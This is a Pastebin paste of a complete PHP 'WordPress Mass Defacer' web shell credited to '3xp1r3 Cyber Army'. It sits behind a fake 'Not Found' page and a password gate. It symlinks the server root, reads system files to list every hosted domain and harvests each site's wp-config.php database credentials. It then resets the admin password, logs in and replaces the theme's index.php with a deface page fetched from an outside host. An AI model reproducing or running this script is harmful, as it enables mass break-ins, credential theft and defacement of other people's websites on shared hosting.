Advertisement
kiddie159

datasheet47

Oct 11th, 2012
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.05 KB | None | 0 0
  1. <?php
  2. //=======================================
  3. Bismillahir Rahmanir Rahim
  4. Please use this only for good works.
  5. ====================
  6.  
  7.  
  8. ini_set("display_errors", "0");
  9. set_time_limit(0);
  10. @session_start();
  11. $auth_pass = '7690ee925772d491670de4c86c03da69';
  12. $base_path = dirname(__FILE__).'/';
  13.  
  14. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
  15. if(empty($auth_pass) || (isset($_GET['pass']) && (md5($_GET['pass'])==$auth_pass))) {
  16. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  17. } else {
  18. printLogin();
  19. }
  20. }
  21.  
  22. function printLogin() {
  23. echo '<h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr>'.($_SERVER['SERVER_SIGNATURE']?$_SERVER['SERVER_SIGNATURE']:'<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>');exit;
  24. }
  25.  
  26. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  27. $ar0=explode($marqueurDebutLien, $text);
  28. $ar1=explode($marqueurFinLien, $ar0[$i]);
  29. return trim($ar1[0]);
  30. }
  31.  
  32. function randomt() {
  33. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  34. srand((double)microtime()*1000000);
  35. $i = 0;
  36. $pass = '';
  37. while ($i <= 7) {
  38. $num = rand() % 33;
  39. $tmp = substr($chars, $num, 1);
  40. $pass = $pass . $tmp;
  41. $i++;
  42. }
  43. return $pass;
  44. }
  45.  
  46. function index_changer_wp($conf, $content) {
  47. $output = '';
  48. $dol = '$';
  49. $username = entre2v2($conf,"define('DB_USER', '","');");
  50. $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
  51. $dbname = entre2v2($conf,"define('DB_NAME', '","');");
  52. $prefix = entre2v2($conf,$dol."table_prefix = '","'");
  53. $host = entre2v2($conf,"define('DB_HOST', '","');");
  54.  
  55. $link=mysql_connect($host,$username,$password);
  56. if($link) {
  57. mysql_select_db($dbname,$link) ;
  58. $dol = '$';
  59. $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '".$dol."P".$dol."BpAdo5GPHYYw778chUGOokkzTPnOSP.' WHERE `ID` = 1");
  60. } else {
  61. $output.= "[-] DB Error<br />";
  62. }
  63. if($req1) {
  64.  
  65. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  66. $data = mysql_fetch_array($req);
  67. $site_url=$data["option_value"];
  68.  
  69. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
  70. $data = mysql_fetch_array($req);
  71. $template = $data["option_value"];
  72.  
  73. $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
  74. $data = mysql_fetch_array($req);
  75. $current_theme = $data["option_value"];
  76.  
  77. $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
  78. $url2=$site_url."/wp-login.php";
  79.  
  80. $ch = curl_init();
  81. curl_setopt($ch, CURLOPT_URL, $url2);
  82. curl_setopt($ch, CURLOPT_POST, 1);
  83. curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=3xp1r3_CA123&rememberme=forever&wp-submit=Log In&testcookie=1");
  84. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  85. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  86. curl_setopt($ch, CURLOPT_HEADER, 0);
  87. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  88. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  89. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  90. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  91. $buffer = curl_exec($ch);
  92.  
  93. $pos = strpos($buffer,"action=logout");
  94. if($pos === false) {
  95. $output.= "[-] Login Error<br />";
  96. } else {
  97. $output.= "[+] Login Successful<br />";
  98. }
  99.  
  100. $url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
  101. curl_setopt($ch, CURLOPT_URL, $url2);
  102. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  103. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  104. curl_setopt($ch, CURLOPT_HEADER, 0);
  105. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  106. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  107. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  108. $buffer0 = curl_exec($ch);
  109.  
  110. $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
  111. $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
  112.  
  113. if(substr_count($_file,"/index.php") != 0){
  114. $output.= "[+] index.php loaded in Theme Editor<br />";
  115. } else {
  116. $output.= "[-] index.php can not load in Theme Editor<br />";
  117. }
  118.  
  119. $url2=$site_url."/wp-admin/theme-editor.php";
  120. curl_setopt($ch, CURLOPT_URL, $url2);
  121. curl_setopt($ch, CURLOPT_POST, 1);
  122. curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
  123. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  124. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  125. curl_setopt($ch, CURLOPT_HEADER, 0);
  126. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  127. curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  128. curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  129. $buffer = curl_exec($ch);
  130. curl_close($ch);
  131.  
  132. $pos = strpos($buffer,'<div id="message" class="updated">');
  133. $cond = 0;
  134. if($pos === false) {
  135. $output.= "[-] Updating Index.php Error<br />";
  136. } else {
  137. $output.= "[+] Index.php Updated Successfuly<br />";
  138. $cond = 1;
  139. }
  140. } else {
  141. $output.= "[-] DB Error<br />";
  142. }
  143. global $base_path;
  144. unlink($base_path.'COOKIE.txt');
  145. return array('cond'=>$cond, 'output'=>$output);
  146. }
  147.  
  148. function exec_mode_1($def_url) {
  149.  
  150. @mkdir('sym',0777);
  151. $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  152. $fp = @fopen ('sym/.htaccess','w');
  153. fwrite($fp, $wr);
  154. @symlink('/','sym/root');
  155. $dominios = @file_get_contents("/etc/named.conf");
  156. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  157. $out[1] = array_unique($out[1]);
  158. $numero_dominios = count($out[1]);
  159. echo "Total domains: $numero_dominios <br><br />";
  160. $def = file_get_contents($def_url);
  161. $def = urlencode($def);
  162. $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';
  163. $output = fopen('defaced.html', 'a+');
  164. $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;
  165. $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;
  166. echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';
  167. $j = 1;
  168. $st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;
  169. for($i = $st; $i <= $numero_dominios; $i++)
  170. {
  171. $domain = $out[1][$i];
  172. $dono_arquivo = @fileowner("/etc/valiases/".$domain);
  173. $infos = @posix_getpwuid($dono_arquivo);
  174.  
  175. $config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");
  176.  
  177. $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  178.  
  179. if($config02 && preg_match('/DB_NAME/i',$config02)){
  180. echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  181. echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
  182. $res = index_changer_wp($config02, $def);
  183. echo '<td>'.$res['output'].'</td>';
  184. if($res['cond']) {
  185. echo '<td align="center"><span class="green">DEFACED</span></td>';
  186. fwrite($output, 'http://'.$domain."<br>");
  187. $_SESSION['count2'] = $_SESSION['count2'] + 1;
  188. } else {
  189. echo '<td align="center"><span class="red">FAILED</span></td>';
  190. }
  191. echo '</tr>';
  192. }
  193. }
  194. echo '</table>';
  195. echo '<hr/>';
  196. echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).'<br />';
  197. echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';
  198. }
  199.  
  200. echo '<!DOCTYPE html>
  201. <html>
  202. <head>
  203. <title>3xp1r3 Cyber Army</title>
  204. <style type="text/css">
  205. body {color: white; background: #000 url(http://i1157.photobucket.com/albums/p593/ibot_zone/600_600.png) no-repeat 50% 50%;font-family: "Trebuchet MS",Arial;background-attachment:fixed;margin:0;padding:0;}
  206. .header {position:fixed;width:100%;top:0;background:#000;}
  207. .footer {position:fixed;width:100%;bottom:0;background:#000;}
  208. input[type="submit"]{background-color:rgba(25,25,25,0.6);font-size: 45px;font-weight:bold;color: red;font-family: Tahoma; border: 1px solid #666666;height:100px;width:250px;}
  209. input[type="submit"]:hover{color:SeaShell;}
  210. input[type="radio"]{margin-top: 0;}
  211. .even {background-color: rgba(25, 25, 25, 0.6);}
  212. .odd {background-color: rgba(102, 102, 102, 0.6);}
  213. a {color:#fff;} a:hover {color:#00BFFF;}
  214. fieldset{border: 1px solid grey; background: rgba(0,0,0,0.7); width: 600px; margin: 0 auto;min-height:240px;}
  215. textarea{background: rgba(0,0,0,0.6); color: white;}
  216. .green {color:#00FF00;font-weight:bold;}
  217. .red {color:#FF0000;font-weight:bold;}
  218. .killme {position: fixed; top: 20px; right: 20px; border: 2px solid yellow; padding: 10px; font-size: 20px; color: red; font-weight: bold;}
  219. </style>
  220. <script type="text/javascript">
  221. function change() {
  222. if(document.getElementById(\'rcd\').checked == true) {
  223. document.getElementById(\'tra\').style.display = \'\';
  224. } else {
  225. document.getElementById(\'tra\').style.display = \'none\';
  226. }
  227. }
  228. function hide() {
  229. document.getElementById(\'tra\').style.display = \'none\';
  230. }
  231. </script>
  232. </head>
  233. <body>
  234. <div class="header">
  235. <h1 style="font-family: cursive;text-align: center;">!....::: 3xp1r3 AK-47 Deface Gun :::...!</h1>
  236. </div>
  237. <div class="footer">
  238. <h3 style="text-align: center;">?? 3xp1r3 Cyber Army. Coded By - Dr3@m3r~1986</h3>
  239. </div>
  240. <div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
  241. <h2 style="color:#0066FF;text-align: center;">Wordpress Mass Defacer Version 2.3</h2>';
  242. if(!isset($_POST['form_action'])){
  243. echo '<div align="center">
  244. <form action="" method="post">
  245. <input type="hidden" name="form_action" value="1">
  246. <input class=submit type="submit" value="!!! FIRE !!!" name="Submit">
  247. </form>
  248. </div>';
  249. }
  250. echo '<div align="center">';
  251. if($_POST['form_action'] == 1) {
  252. exec_mode_1('http://familypride.tk/tfp.htm');
  253. }
  254. echo '</div>
  255. </div>
  256. </body>
  257. </html>';
  258. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement